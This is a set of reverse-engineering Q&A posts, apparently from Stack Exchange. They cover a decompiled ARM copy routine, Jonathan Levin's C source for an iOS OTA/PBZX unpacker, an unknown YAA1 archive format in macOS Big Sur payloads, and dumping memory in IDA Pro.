uVar13 | uVar14 &lt;&lt; 0x18; iVar10 = iVar8 + -4; bVar17 = 3 &lt; iVar8; puVar1 = puVar2; puVar6 = puVar5; iVar8 = iVar10; } while (bVar17); } else { iVar8 = iVar8 + -0xc; do { iVar9 = iVar8; uVar13 = uVar14 &gt;&gt; 8; uVar16 = *puVar5; uVar12 = puVar5[1]; uVar15 = puVar5[2]; uVar14 = puVar5[3]; puVar5 = puVar5 + 4; *puVar1 = uVar13 | uVar16 &lt;&lt; 0x18; puVar1[1] = uVar16 &gt;&gt; 8 | uVar12 &lt;&lt; 0x18; puVar1[2] = uVar12 &gt;&gt; 8 | uVar15 &lt;&lt; 0x18; puVar1[3] = uVar15 &gt;&gt; 8 | uVar14 &lt;&lt; 0x18; puVar1 = puVar1 + 4; iVar8 = iVar9 + -0x10; } while (0xf &lt; iVar9); iVar10 = iVar9 + -4; puVar2 = puVar1; puVar6 = puVar5; iVar8 = iVar10; if (iVar10 &lt; 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003b8a4; } param_2 = (uint *)((int)puVar5 + -3); goto LAB_0003b7ec; } puVar6 = puVar5; if (iVar8 &lt; 0xc) { LAB_0003b97c: do { uVar13 = uVar14 &gt;&gt; 0x18; puVar5 = puVar6 + 1; uVar14 = *puVar6; puVar2 = puVar1 + 1; *puVar1 = uVar13 | uVar14 &lt;&lt; 8; iVar10 = iVar8 + -4; bVar17 = 3 &lt; iVar8; puVar1 = puVar2; puVar6 = puVar5; iVar8 = iVar10; } while (bVar17); } else { iVar8 = iVar8 + -0xc; do { iVar9 = iVar8; uVar13 = uVar14 &gt;&gt; 0x18; uVar16 = *puVar5; uVar12 = puVar5[1]; uVar15 = puVar5[2]; uVar14 = puVar5[3]; puVar5 = puVar5 + 4; *puVar1 = uVar13 | uVar16 &lt;&lt; 8; puVar1[1] = uVar16 &gt;&gt; 0x18 | uVar12 &lt;&lt; 8; puVar1[2] = uVar12 &gt;&gt; 0x18 | uVar15 &lt;&lt; 8; puVar1[3] = uVar15 &gt;&gt; 0x18 | uVar14 &lt;&lt; 8; puVar1 = puVar1 + 4; iVar8 = iVar9 + -0x10; } while (0xf &lt; iVar9); iVar10 = iVar9 + -4; puVar2 = puVar1; puVar6 = puVar5; iVar8 = iVar10; if (iVar10 &lt; 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003b97c; } param_2 = (uint *)((int)puVar5 + -1); LAB_0003b7ec: iVar8 = iVar10 + 4; if (iVar8 != 0) { bVar18 = SBORROW4(iVar8,2); bVar17 = iVar10 + 2 &lt; 0; bVar11 = *(byte *)param_2; *(byte *)puVar2 = bVar11; pbVar3 = (byte *)((int)param_2 + 1); if (1 &lt; iVar8) { pbVar3 = (byte *)((int)param_2 + 2); bVar11 = *(byte *)((int)param_2 + 1); } pbVar7 = (byte *)((int)puVar2 + 1); if (bVar17 == bVar18) { pbVar7 = (byte *)((int)puVar2 + 2); *(byte *)((int)puVar2 + 1) = bVar11; } pbVar4 = pbVar3; if (iVar8 != 2 &amp;&amp; bVar17 == bVar18) { pbVar4 = pbVar3 + 1; bVar11 = *pbVar3; } if (iVar8 != 2 &amp;&amp; bVar17 == bVar18) { *pbVar7 = bVar11; } return CONCAT44(param_1,pbVar4); } return CONCAT44(param_1,param_2); } </code></pre> <p>My best guess for now is it is doing some kind of encoding and it might be a standard glibc function as it is called many times throughout the code.</p> <p>This function is usally called with parameter like follows:</p> <pre><code>ToSolve1(auStack55,(uint *)&amp;DAT_000543f4,0xe,uVar10); ToSolve1(auStack55,(uint *)&amp;DAT_0005489c,0xe,uVar10); ToSolve1((uint *)&amp;DAT_0004f602,&amp;local_1c,4,(uint)&amp;DAT_0004f680); ToSolve1(param_1,&amp;DAT_0004f5f8,0xe,(uint)puVar4); </code></pre> <p>Hope someone can give me a nudge on what this function is. If possible, I would like to learn about if there are any resources out there that can help me improve the skills of recognizing standard function signatures.</p>
Having hard time analyzing stripped code
|arm|ghidra|functions|
<p>See: <a href="http://newosxbook.com/articles/OTA8.html" rel="nofollow noreferrer">http://newosxbook.com/articles/OTA8.html</a></p> <p>(and prior episodes)</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;fcntl.h&gt; #include &lt;stdlib.h&gt; #include &lt;ctype.h&gt; #include &lt;unistd.h&gt; #define _GNU_SOURCE 1 #include &lt;string.h&gt; #include &lt;sys/stat.h&gt; // for mkdir #include &lt;sys/mman.h&gt; // for mmap #undef ntohl #undef ntohs #define RED &quot;\033[0;31m&quot; #define M0 &quot;\e[0;30m&quot; #define CYAN &quot;\e[0;36m&quot; #define M1 &quot;\e[0;31m&quot; #define GREY &quot;\e[0;37m&quot; #define M8 &quot;\e[0;38m&quot; #define M9 &quot;\e[0;39m&quot; #define GREEN &quot;\e[0;32m&quot; #define YELLOW &quot;\e[0;33m&quot; #define BLUE &quot;\e[0;34m&quot; #define PINK &quot;\e[0;35m&quot; #define NORMAL &quot;\e[0;0m&quot; #ifdef LINUX typedef unsigned long uint64_t; typedef unsigned short uint16_t; extern void *memmem (const void *__haystack, size_t __haystacklen, const void *__needle, size_t __needlelen); #endif /** * Apple iOS OTA/PBZX expander/unpacker/lister/searcher - by Jonathan Levin, * * http://NewOSXBook.com/ * * Free for anyone (AISE) to use, modify, etc. I won't complain :-), but I'd appreciate a mention * * Changelog: 02/08/16 - Replaced alloca with malloc () (full OTAs with too many files would have popped stack..) * * 02/17/16 - Increased tolerance for corrupt OTA - can now seek to entry in a file * * 08/31/16 - Added search in OTA. * * 02/28/18 - It's been a while - and ota now does diff! * Also tidied up and made neater * * 12/03/18 - Added -S to search for string null terminated * * The last OTA: (seriously, I'm done :-) * * 08/06/19 - Integrated @S1guza's symlink fix (Thanks, man!) * Added pbzx built-in so you don't have to use pbzx first * Added multiple file processing, compatible with shell expansion * Can now ota ...whatever... payload.0?? to iterate over all files! * Added -H to generate SHA-1 hashes for all ('*') or specific files in OTA * (SHA-1 code taken from public domain, as was lzma) * * To compile: now use attached makefile, since there are lzma dependencies * Remember to add '-DLINUX' if on Linux * * */ typedef unsigned int uint32_t; uint64_t pos = 0; #ifndef NOSHA #include &quot;sha1.c&quot; #endif // NOSHA #pragma pack(1) struct entry { unsigned int usually_0x210_or_0x110; unsigned short usually_0x00_00; //_00_00; unsigned int fileSize; unsigned short whatever; unsigned long long timestamp_likely; unsigned short _usually_0x20; unsigned short nameLen; unsigned short uid; unsigned short gid; unsigned short perms; char name[0]; // Followed by file contents }; #pragma pack() extern int ntohl(int); extern short ntohs(short); uint32_t swap32(uint32_t arg) { return (ntohl(arg)); } int g_list = 0; int g_verbose = 0; char *g_extract = NULL; char *g_search = NULL; char *g_hash = NULL; int g_nullTerm = 0; // Since I now diff and use open-&gt;mmap(2) on several occasions, refactored // into its own function // void *mmapFile(char *FileName, uint64_t *FileSize) { int fd = open (FileName, O_RDONLY); if (fd &lt; 0) { perror (FileName); exit(1);} // 02/17/2016 - mmap struct stat stbuf; int rc = fstat(fd, &amp;stbuf); char *mmapped = mmap(NULL, // void *addr, stbuf.st_size , // size_t len, PROT_READ, // int prot, MAP_PRIVATE, // int flags, fd, // int fd, 0); // off_t offset); if (mmapped == MAP_FAILED) { perror (FileName); exit(1);} if (FileSize) *FileSize = stbuf.st_size; close (fd); return (mmapped); } void hashFile (char *File, char *Name, uint32_t Size, short Perms, char *HashCriteria) { if (!HashCriteria) return; if ((HashCriteria[0] != '*') &amp;&amp; ! strstr(Name, HashCriteria)) return ; #define HASH_SIZE 20 uint8_t Message_Digest[SHA1HashSize]; doSHA1((void*)File, Size, Message_Digest); int i = 0; printf(&quot;%s (%d bytes): &quot;, Name, Size); for (i = 0; i &lt; HASH_SIZE; i++) { printf(&quot;%02X&quot;, Message_Digest[i]); } printf(&quot;\n&quot;); } void extractFile (char *File, char *Name, uint32_t Size, short Perms, char *ExtractCriteria) { // MAYBE extract file (depending if matches Criteria, or &quot;*&quot;). // You can modify this to include regexps, case sensitivity, what not. // presently, it's just strstr() if (!ExtractCriteria) return; if ((ExtractCriteria[0] != '*') &amp;&amp; ! strstr(Name, ExtractCriteria)) return; uint16_t type = Perms &amp; S_IFMT; Perms &amp;= ~S_IFMT; if(type != S_IFREG &amp;&amp; type != S_IFLNK) { fprintf(stderr, &quot;Unknown file type: %o\n&quot;, type); // return; } // Ok. Extract . This is simple - just dump the file contents to its directory. // What we need to do here is parse the '/' and mkdir(2), etc. char *dirSep = strchr (Name, '/'); while (dirSep) { *dirSep = '\0'; mkdir(Name,0755); *dirSep = '/'; dirSep+=1; dirSep = strchr (dirSep, '/'); } if(type == S_IFLNK) { /* @s1guza's support for symlinks! */ /* http://newosxbook.com/forum/viewtopic.php?f=3&amp;t=19513 */ char *target = strndup(File, Size); if(g_verbose) { fprintf(stderr, &quot;Symlinking %s to %s\n&quot;, Name, target); } symlink(target, Name); fchmodat(AT_FDCWD, Name, Perms, AT_SYMLINK_NOFOLLOW); free(target); } else { // at this point we're out of '/'s // go back to the last /, if any if (g_verbose) { fprintf(stderr, &quot;Dumping %d bytes to %s\n&quot;, Size, Name); } int fd = open (Name, O_WRONLY| O_CREAT); fchmod (fd, Perms); write (fd, File, Size); close (fd); } } // end extractFile void showPos() { fprintf(stderr, &quot;POS is %lld\n&quot;, pos); } struct entry *getNextEnt (char *Mapping, uint64_t Size, uint64_t *Pos) { // Return entry at Mapping[Pos], // and advance Pos to point to next one int pos = 0; struct entry *ent =(struct entry *) (Mapping + *Pos ); if (*Pos &gt; Size) return (NULL); *Pos += sizeof(struct entry); uint32_t entsize = swap32(ent-&gt;fileSize); uint32_t nameLen = ntohs(ent-&gt;nameLen); // Get Name (immediately after the entry) //char *name = malloc (nameLen+1); // strncpy(name, Mapping+ *Pos , nameLen); //name[nameLen] = '\0'; //printf(&quot;NAME %p IS %s, Size: %d\n&quot;, Mapping, name, entsize); //free (name); *Pos += nameLen; *Pos += entsize; return (ent); } // getNextEnt int doDiff (char *File1, char *File2, int Exists) { // There are two ways to do diff: // look at both files as archives, find diffs, then figure out diff'ing entry, // or look at file internal entries individually, then compare each of them // I chose the latter. This also (to some extent) survives file ordering // Note I'm still mmap(2)ing BOTH files. This contributes to speed, but does // have the impact of consuming lots o'RAM. That said, this is to be run on a // Linux/MacOS, and not on an i-Device, so we should be ok. uint64_t file1Size = 0; char *file1Mapping = mmapFile(File1, &amp;file1Size); uint64_t file2Size = 0; char *file2Mapping = mmapFile(File2, &amp;file2Size); uint64_t file1pos = 0; uint64_t file2pos = 0; struct entry *file1ent = getNextEnt (file1Mapping, file1Size, &amp;file1pos); struct entry *file2ent = getNextEnt (file2Mapping,file2Size, &amp;file2pos); uint64_t lastFile1pos, lastFile2pos = 0; while (file1ent &amp;&amp; file2ent) { lastFile1pos = file1pos; lastFile2pos = file2pos; file1ent = getNextEnt (file1Mapping, file1Size, &amp;file1pos); file2ent = getNextEnt (file2Mapping,file2Size, &amp;file2pos); char *ent1Name = file1ent-&gt;name; char *ent2Name = file2ent-&gt;name; // Because I'm lazy: skip last entry if (file1pos &gt; file1Size - 1000000) break; int found = 1; char *n1 = strndup(file1ent-&gt;name, ntohs(file1ent-&gt;nameLen)); if (strncmp(ent1Name, ent2Name, ntohs(file1ent-&gt;nameLen))) { // Stupid names aren't NULL terminated (AAPL don't read my comments, // apparently), so we have to copy both names in: // But that's the least of our problems: We don't know if n1 has been removed // from n2, or n2 is a new addition: uint64_t seekpos = file2pos; // seek n1 in file2: found = 0; int i = 0; struct entry *seek2ent; while (1) { seek2ent = getNextEnt (file2Mapping,file2Size, &amp;seekpos); if (!seek2ent) { break; } // {printf(&quot;EOF\n&quot;);break;} if (memcmp(seek2ent-&gt;name,file1ent-&gt;name, ntohs(seek2ent-&gt;nameLen)) == 0) { found++; break; } else { /* i++; if (i &lt; 200) { char *n2 = strndup(seek2ent-&gt;name, ntohs(seek2ent-&gt;nameLen)); printf(&quot;check: %s(%d) != %s(%d) -- %d\n&quot;,n2, ntohs(seek2ent-&gt;nameLen),n1, strlen(n1), memcmp(seek2ent-&gt;name,file1ent-&gt;name, ntohs(seek2ent-&gt;nameLen) )); free(n2); } */ } } // end while if (!found) { printf(&quot;%s: In file1 but not file2\n&quot;, n1); // rewind file2pos so we hit the entry again.. file2pos = lastFile2pos; } else { // Found it - align (all the rest to this point were not in file1) file2pos = seekpos; } } // name mismatch if (found) { // Identical entries - check for diffs unless we're only doing existence checks // if the sizes diff, obviously: if (!Exists) { if (file1pos - lastFile1pos != file2pos - lastFile2pos) { fprintf(stdout,&quot;%s (different sizes)\n&quot;, n1); } else // if sizes are identical, maybe - but ignore timestamp! if (memcmp (((unsigned char *)file1ent) + sizeof(struct entry), ((unsigned char *)file2ent) + sizeof(struct entry), file1pos - lastFile1pos - sizeof(struct entry))) { fprintf(stdout,&quot;%s\n&quot;, n1); } } free (n1); } } // end file1pos return 0; } void processFile(char *fileName); int main(int argc ,char **argv) { char *filename =&quot;p&quot;; int i = 0; if (argc &lt; 2) { fprintf (stderr,&quot;Usage: %s [-v] [-l] [...] _filename[s]_ \nWhere: -l: list files in update payload\n&quot; &quot;Where: [...] is one of:\n&quot; &quot; -e _file: extract file from update payload (use \&quot;*\&quot; for all files)\n&quot; &quot; -s _string _file: Look for occurences of _string_ in file\n&quot; &quot; -S _string _file: Look for occurences of _string_, NULL terminated in file\n&quot; &quot; -H [_file]: get hash digest of specific file (use \&quot;*\&quot; for all files)\n&quot; &quot; [-n] -d _file1 _file2: Point out differences between OTA _file1 and _file2\n&quot; &quot; -n to only diff names\n&quot;, argv[0]); exit(10); } int exists = 0; for (i = 1; (i &lt; argc -1) &amp;&amp; (argv[i][0] == '-'); i++) { // This is super quick/dirty. You might want to rewrite with getopt, etc.. if (strcmp(argv[i], &quot;-n&quot;) == 0) { exists++; } else if (strcmp (argv[i] , &quot;-d&quot;) == 0) { // make sure we have argv[i+1] and argv[i+2]... if (i != argc - 3) { fprintf(stderr,&quot;-d needs exactly two arguments - two OTA files to compare\n&quot;); exit(6); } // that the files exist... if (access (argv[i+1], F_OK)) { fprintf(stderr,&quot;%s: not a file\n&quot;, argv[i+1]); exit(11); } if (access (argv[i+2], F_OK)) { fprintf(stderr,&quot;%s: not a file\n&quot;, argv[i+2]); exit(12); } // then do diff return ( doDiff (argv[i+1],argv[i+2], exists)); } else if (strcmp (argv[i], &quot;-l&quot;) == 0) { g_list++;} else if (strcmp (argv[i] , &quot;-v&quot;) == 0) { g_verbose++;} #ifndef NOSHA else if (strcmp(argv[i], &quot;-H&quot;) == 0) { if (i == argc -1) { fprintf(stderr, &quot;-H: Option requires an argument (what to extract)\n&quot;); exit(5); } g_hash = argv[i+1]; i++; } #endif else if (strcmp (argv[i], &quot;-e&quot;) == 0) { if (i == argc -1) { fprintf(stderr, &quot;-e: Option requires an argument (what to extract)\n&quot;); exit(5); } g_extract = argv[i+1]; i++; } // Added 08/31/16: // and modified 12/01/2018 else if ((strcmp (argv[i], &quot;-s&quot;) == 0) || (strcmp (argv[i], &quot;-S&quot;) == 0)) { if (i == argc - 2) { fprintf(stderr, &quot;%s: Option requires an argument (search string)\n&quot;, argv[i]); exit(5); } g_search = argv[i+1]; if (argv[i][1] == 'S') g_nullTerm++; i++; } else { fprintf(stderr,&quot;Unknown option: %s\n&quot;, argv[i]); return 1; } } // Another little fix if user forgot filename, rather than try to open if (argv[argc-1][0] == '-') { fprintf(stderr,&quot;Must supply filename\n&quot;); exit(5); } // Loop over filenames: for (; i &lt; argc; i++) { if (strstr(argv[i],&quot;.ecc&quot;)) continue; processFile(argv[i]); } } #define PBZX_MAGIC &quot;pbzx&quot; char *doPBZX (char *pbzxData, int Size, int *ExtractedSize) { #ifndef NO_PBZX #define OUT_BUFSIZE 16*1024*1024 // Largest chunk I've seen is 8MB. This is double that. char * decompressXZChunk(char *buf, int size, char *Into, int *IntoSize); uint64_t length = 0, flags = 0; char *returned = malloc(OUT_BUFSIZE); int returnedSize = OUT_BUFSIZE; int available = returnedSize; int pos = strlen(PBZX_MAGIC); flags = *((uint64_t *) pbzxData + pos); // read (fd, &amp;flags, sizeof (uint64_t)); pos += sizeof(uint64_t); flags = __builtin_bswap64(flags); // fprintf(stderr,&quot;Flags: 0x%llx\n&quot;, flags); int i = 0; int off = 0; int warn = 0 ; int skipChunk = 0; int rc = 0; // 03/09/2016 - Fixed for single chunks (payload.0##) files, e.g. WatchOS // and for multiple chunks. AAPL changed flags on me.. // // New OTAs use 0x800000 for more chunks, not 0x01000000. // 08/06/2019 - dang it. it's not flags - it's uncomp chunk size. uint64_t totalSize = 0; uint64_t uncompLen = flags; while (pos &lt; Size){ i++; //printf(&quot;FLAGS: %llx\n&quot;, flags); // rc= read (fd, &amp;flags, sizeof (uint64_t)); // check retval.. flags = *((uint64_t *) (pbzxData +pos)); pos+= sizeof(uint64_t); flags = __builtin_bswap64(flags); //printf(&quot;FLAGS: %llx\n&quot;, flags); length = *((uint64_t *) (pbzxData +pos)); //rc = read (fd, &amp;length, sizeof (uint64_t)); pos+= sizeof(uint64_t); length = __builtin_bswap64(length); skipChunk = 0; // (i &lt; minChunk); if (getenv(&quot;JDEBUG&quot;) != NULL) fprintf(stderr,&quot;Chunk #%d (uncomp: %lld, comp length: %lld bytes) %s\n&quot;,i, flags,length, skipChunk? &quot;(skipped)&quot;:&quot;&quot;); // Let's ignore the fact I'm allocating based on user input, etc.. //char *buf = malloc (length); //int bytes = read (fd, buf, length); char *buf = pbzxData + pos; pos += length; // flags = *((uint64_t *) (pbzxData +pos)); #if 0 // 6/18/2017 - Fix for WatchOS 4.x OTA wherein the chunks are bigger than what can be read in one operation int bytes = length; int totalBytes = bytes; while (totalBytes &lt; length) { // could be partial read bytes = read (fd, buf +totalBytes, length -totalBytes); totalBytes +=bytes; } #endif // We want the XZ header/footer if it's the payload, but prepare_payload doesn't have that, // so just warn. if (memcmp(buf, &quot;\xfd&quot;&quot;7zXZ&quot;, 6)) { warn++; fprintf (stderr, &quot;Warning: Can't find XZ header. Instead have 0x%x(?).. This is likely not XZ data.\n&quot;, (* (uint32_t *) buf )); // Treat as uncompressed // UNCOMMENT THIS to handle uncomp XZ too.. // write (1, buf, length); } else // if we have the header, we had better have a footer, too { if (strncmp(buf + length - 2, &quot;YZ&quot;, 2)) { warn++; fprintf (stderr, &quot;Warning: Can't find XZ footer at 0x%llx (instead have %x). This is bad.\n&quot;, (length -2), *((unsigned short *) (buf + length - 2))); } // if (1 &amp;&amp; !skipChunk) { // Uncompress chunk int chunkExpandedSize = available; char *ptrTo = returned + (returnedSize - available); decompressXZChunk(buf, length, returned + (returnedSize - available),&amp;chunkExpandedSize); // printf(&quot;DECOMPRESSING to %p - %p\n&quot;, ptrTo , ptrTo + chunkExpandedSize); totalSize += chunkExpandedSize; available -= chunkExpandedSize; if (available &lt; OUT_BUFSIZE) { returnedSize += 10 * OUT_BUFSIZE; available += 10 * OUT_BUFSIZE; // Can't use realloc! char *new = malloc(returnedSize); if (getenv(&quot;JDEBUG&quot;) != NULL)printf(&quot;REALLOCING from %p to %p ,%x, AVAIL: %x\n&quot;, returned, new, returnedSize, available); if (new) { memcpy(new, returned, returnedSize - available); free(returned); returned = new; } else { fprintf(stderr,&quot;ERROR!\n&quot;); exit(1);} } } warn = 0; // free (buf); // Not freeing anymore, @ryandesign :-) } } //printf(&quot;Total size: %d\n&quot;, totalSize); *ExtractedSize = totalSize; if (getenv(&quot;JDEBUG&quot;) != NULL) { int f = open (&quot;/tmp/out1&quot;, O_WRONLY |O_CREAT); write (f, returned, totalSize); close(f); } return (returned); #else fprintf(stderr,&quot;Not compiled with PBZX support!\n&quot;); return (NULL); #endif } // pbzx void processFile(char *FileName) { int color = (getenv(&quot;JCOLOR&quot;)!= NULL); fprintf(stderr, &quot;%sProcessing %s%s\n&quot;, color ? RED: &quot;&quot;, FileName, color ? NORMAL :&quot;&quot;); //unsigned char buf[4096]; uint64_t fileSize; uint64_t mappedSize; char *actualMmapped = mmapFile(FileName, &amp;mappedSize); fileSize = mappedSize; if (actualMmapped == MAP_FAILED) { perror (FileName); return ;} char *mmapped = actualMmapped; char *extracted = NULL; // File could be a PBZX :-) if (memcmp(mmapped, PBZX_MAGIC, strlen(PBZX_MAGIC)) ==0) { // DO PBZX first! int extractedSize = 0; extracted = doPBZX (mmapped, mappedSize, &amp;extractedSize); mmapped = extracted; fileSize = extractedSize; // printf(&quot;EXTRACTED: %p, size: 0x%llx\n&quot;,mmapped, fileSize); } int i = 0; struct entry *ent = alloca (sizeof(struct entry)); pos = 0; while(pos + 3*sizeof(struct entry) &lt; fileSize) { ent = (struct entry *) (mmapped + pos ); pos += sizeof(struct entry); if ((ent-&gt;usually_0x210_or_0x110 != 0x210 &amp;&amp; ent-&gt;usually_0x210_or_0x110 != 0x110 &amp;&amp; ent-&gt;usually_0x210_or_0x110 != 0x310) || ent-&gt;usually_0x00_00) { fprintf (stderr,&quot;Corrupt entry (0x%x at pos %llu@0x%llx).. skipping\n&quot;, ent-&gt;usually_0x210_or_0x110, pos, (uint64_t)(mmapped+pos)); int skipping = 1; while (skipping) { ent = (struct entry *) (mmapped + pos ) ; while (ent-&gt;usually_0x210_or_0x110 != 0x210 &amp;&amp; ent-&gt;usually_0x210_or_0x110 != 0x110) { // #@$#$%$# POS ISN'T ALIGNED! pos ++; ent = (struct entry *) (mmapped + pos ) ; } // read rest of entry int nl = ntohs(ent-&gt;nameLen); if (ent-&gt;usually_0x00_00 || !nl) { // fprintf(stderr,&quot;False positive.. skipping %d\n&quot;,pos); pos+=1; } else { skipping =0; pos += sizeof(struct entry); } if (pos &gt; fileSize) return; } } uint32_t size = swap32(ent-&gt;fileSize); // fprintf(stdout,&quot; Here - ENT at pos %d: %x and 0 marker is %x namelen: %d, fileSize: %d\n&quot;, pos, ent-&gt;usually_0x210_or_0x110, ent-&gt;usually_0x00_00, ntohs(ent-&gt;nameLen), size); uint32_t nameLen = ntohs(ent-&gt;nameLen); // Get Name (immediately after the entry) // // 02/08/2016: Fixed this from alloca() - the Apple jumbo OTAs have so many files in them (THANKS GUYS!!) // that this would exceed the stack limits (could solve with ulimit -s, or also by using // a max buf size and reusing same buf, which would be a lot nicer) // Note to AAPL: Life would have been a lot nicer if the name would have been NULL terminated.. // What's another byte per every file in a huge file such as this? // char *name = (char *) (mmapped+pos); char *name = alloca (nameLen+1); strncpy(name, mmapped+pos , nameLen); name[nameLen] = '\0'; //printf(&quot;NAME IS %s\n&quot;, name); pos += ntohs(ent-&gt;nameLen); uint32_t fileSize = swap32(ent-&gt;fileSize); uint16_t perms = ntohs(ent-&gt;perms); if (g_list){ if (g_verbose) { printf (&quot;Entry @0x%d: UID: %d GID: %d Mode: %o Size: %d (0x%x) Namelen: %d Name: &quot;, i, ntohs(ent-&gt;uid), ntohs(ent-&gt;gid), perms, size, size, ntohs(ent-&gt;nameLen)); } printf (&quot;%s\n&quot;, name);} // Get size (immediately after the name) if (fileSize) { if (g_extract) { extractFile(mmapped +pos, name, fileSize, perms, g_extract);} // Added 08/05/19 - Hash if (g_hash) { hashFile (mmapped +pos, name, fileSize, perms, g_hash); } // Added 08/31/16 - And I swear I should have this from the start. // So darn simple and sooooo useful! if (g_search){ char *found = memmem (mmapped+pos, fileSize, g_search, strlen(g_search) + (g_nullTerm ? 1 : 0)); while (found != NULL) { int relOffset = found - mmapped - pos; fprintf(stdout, &quot;Found in Entry: %s, relative offset: 0x%x (Absolute: %lx)&quot;, name, relOffset, found - mmapped); // 12/01/18 if (g_verbose) { fputc(':', stdout); fputc(' ', stdout); char *begin = found; int i = 0 ; #define BACK_LIMIT -20 #define FRONT_LIMIT 20 while(begin[i] &amp;&amp; i &gt; BACK_LIMIT) { i--;} for (;begin +i &lt; found; i++) { if (isprint(begin[i])) putc (begin[i], stdout); else putc ('.', stdout); } printf(&quot;%s%s%s&quot;,RED, g_search, NORMAL); for (i+= strlen(g_search); begin[i] &amp;&amp;( i &lt; FRONT_LIMIT); i++) { if (isprint(begin[i])) putc (begin[i], stdout); else putc ('.', stdout); } } fprintf(stdout,&quot;\n&quot;); // keep looking.. found = memmem (found + 1, fileSize - relOffset , g_search, strlen(g_search) +( g_nullTerm ? 1: 0)); } // end while } // end g_search pos +=fileSize; } } // Back to loop if (extracted) { /*printf(&quot;FREEing %p\n&quot;, extracted);*/ free (extracted);} munmap(actualMmapped, mappedSize); } </code></pre>
25419
2020-06-29T07:32:13.690
<p>Apple's announcement of macOS Big Sur had meant the release of the developer beta. In an attempt to create the appbundle from Apple's <code>softwarecatalog</code>, <a href="https://kittywhiskers.eu/the-chronicles-of-big-sur/" rel="nofollow noreferrer">I attempted to study the contents of <code>InstallAssistant.pkg</code></a>. In the process, I found <code>pbzx</code> files in the <code>payloadv2</code> directory that mimic Format 3.0 used by iOS for its' OTA updates and <a href="http://newosxbook.com/articles/OTA8.html" rel="nofollow noreferrer">the study of that format by Johnathan Levin</a> and attempted to use his <code>ota</code> tool to extract it (which uses the following struct)</p> <pre><code>#pragma pack(1) struct entry { unsigned int usually_0x210_or_0x110; unsigned short usually_0x00_00; //_00_00; unsigned int fileSize; unsigned short whatever; unsigned long long timestamp_likely; unsigned short _usually_0x20; unsigned short nameLen; unsigned short uid; unsigned short gid; unsigned short perms; char name[0]; // Followed by file contents }; #pragma pack() </code></pre> <p>There was no avail with <code>ota</code> so I resorted to use a slightly modified (in terms of memory improvements) version of his <code>pbzx</code> tool to extract the stream, to success using the bash command given below in the <code>payloadv2</code> directory</p> <p><code>rm *.ecc &amp;&amp; find *.??? -exec bash -c &quot;./pbzx {} &gt;&gt; {}.unpbzx&quot; \; &amp;&amp; mkdir unpbzx &amp;&amp; mv *.unpbzx unpbzx/</code></p> <p>As a result I now have a directory full of <code>.unpbzx</code> files. Attempting to run <code>ota</code> (with <code>pbzx</code> support removed to eliminate the possibility of potential bugs there) on <code>payload.000.unpbzx</code> results in a Segmentation Fault, <code>gdb</code> returns</p> <pre><code>Corrupt entry (0x31414159 at pos 30@0x10100001e).. skipping Thread 2 received signal SIGSEGV, Segmentation fault. 0x00000001000031b4 in processFile (FileName=0x7ffeefbff74e &quot;/Volumes/[redacted]/pbzx/payload.000.unpbzx&quot;) at ota.c:423 423 while (ent-&gt;usually_0x210_or_0x110 != 0x210 &amp;&amp; ent-&gt;usually_0x210_or_0x110 != 0x110) </code></pre> <p>Running it with alternative tools like <code>ota2tar</code> (with <code>pbzx</code> extraction code removed) and forks of <code>ota</code> like <code>iOS-Utilities</code> gave similar errors (out-of-bounds memory errors, etc.)</p> <p>It appears that somehow this <code>unpbzx</code> file has a different header structure to the description of <a href="https://www.theiphonewiki.com/wiki/OTA_Updates" rel="nofollow noreferrer">Format 3.0 on the iPhone Wiki</a></p> <p>Opening <code>payload.000.unpbzx</code> with Hex Fiend shows that the file format appears to be differing from the struct given above (singular entry highlighted)</p> <p><a href="https://i.stack.imgur.com/x9dqV.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/x9dqV.png" alt="Hex Fiend showing an odd format with magic phrase YAA1" /></a></p> <p>Files seem to be listed with some form of delimiter <code>YAA1</code> in the beginning. Isolating individual entries gives results similar to the image given below (file name highlighted)</p> <p><a href="https://i.stack.imgur.com/zYcIY.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/zYcIY.png" alt="Photograph of hex string with singular entry, highlighting of path" /></a></p> <p>My knowledge of reverse engineering is admittedly limited so the best I could do is some psudocode about what the struct may look like</p> <pre><code>struct entry { uint8_t header; // 59414131 (0xYAA1) uint32_t description; // 69005459 50314450 41545030 (iTYP1DPATP) uint8_t padding; // 00 // fileNameLen undefined char[fileNameLen] filename; // System/Library/Perl/Extras/5.28/Net/LDAP/Control uint8_t uid; // 55494431 (or 0xUID1) uint8_t padding2; // 00 uint8_t descr_end; // 474944 31004D4F 4432ED01 464C4734 00000800 4D544D54 // (descr_end includes GID, MOD and FLG values) // file_contents } </code></pre> <p>As a last ditch attempt, I ran <code>payload.000.unpbzx</code> through 7zip and it identifies the file as a <code>gzip</code> stream</p> <pre><code>Path = /Volumes/[redacted]/pbzx/payload.000.unpbzx Type = gzip ERRORS: There are data after the end of archive Offset = 5636247 Physical Size = 98 Tail Size = 12327687 Headers Size = 10 Streams = 1 ERROR: There is some data after the end of the payload data : payload.000 Sub items Errors: 1 Archives with Errors: 1 Open Errors: 1 </code></pre> <p>But <code>gunzip</code> does not recognize the format.</p> <p><strong>At this point, what would be the best way of interpreting this new archival structure and how do I proceed forward?</strong></p> <p><em>(Note: Hex Fiend displays <code>000.pbzx</code> because I did actually name the files with the <code>.pbzx</code> extension even though that naming was incorrect and had modified it to <code>.unpbzx</code> for clarity in this question)</em></p>
Attempting to reverse engineer an iOS OTA payload-like archival format
|file-format|ios|osx|
<p>Without scripting:</p> <ol> <li>Select the range:</li> </ol> <p>Go to start of the area, press <kbd>Alt+L</kbd>, go to the end</p> <ol start="2"> <li><p>Edit, Export data (or <kbd>Shift+E</kbd>)</p> </li> <li><p>pick &quot;raw bytes&quot; and enter filename in the Outpuf File field.</p> </li> </ol> <p>With scripting:</p> <pre><code>idc.savefile(filename, 0, startAddress, size) </code></pre>
25428
2020-07-01T07:39:59.230
<p>I'm facing a problem that i need to dump a large region of memory with IDA pro</p> <p>using xdbg its easily done by going to memory map tab and just dumping a region, how can i do this in IDA pro? for example dump from address x to y</p> <p>I tried to use a simple IDApython script but if the size is large IDA will just crash (I'm dumping a large region while remotely debugging a windows kernel)</p> <pre><code>filename = AskFile(1, &quot;*.bin&quot;, &quot;Output file name&quot;) address = startAddress size = 0xFFFFFF dbgr = True with open(filename, &quot;wb&quot;) as out: data = GetManyBytes(address, size, use_dbg=dbgr) out.write(data) </code></pre>
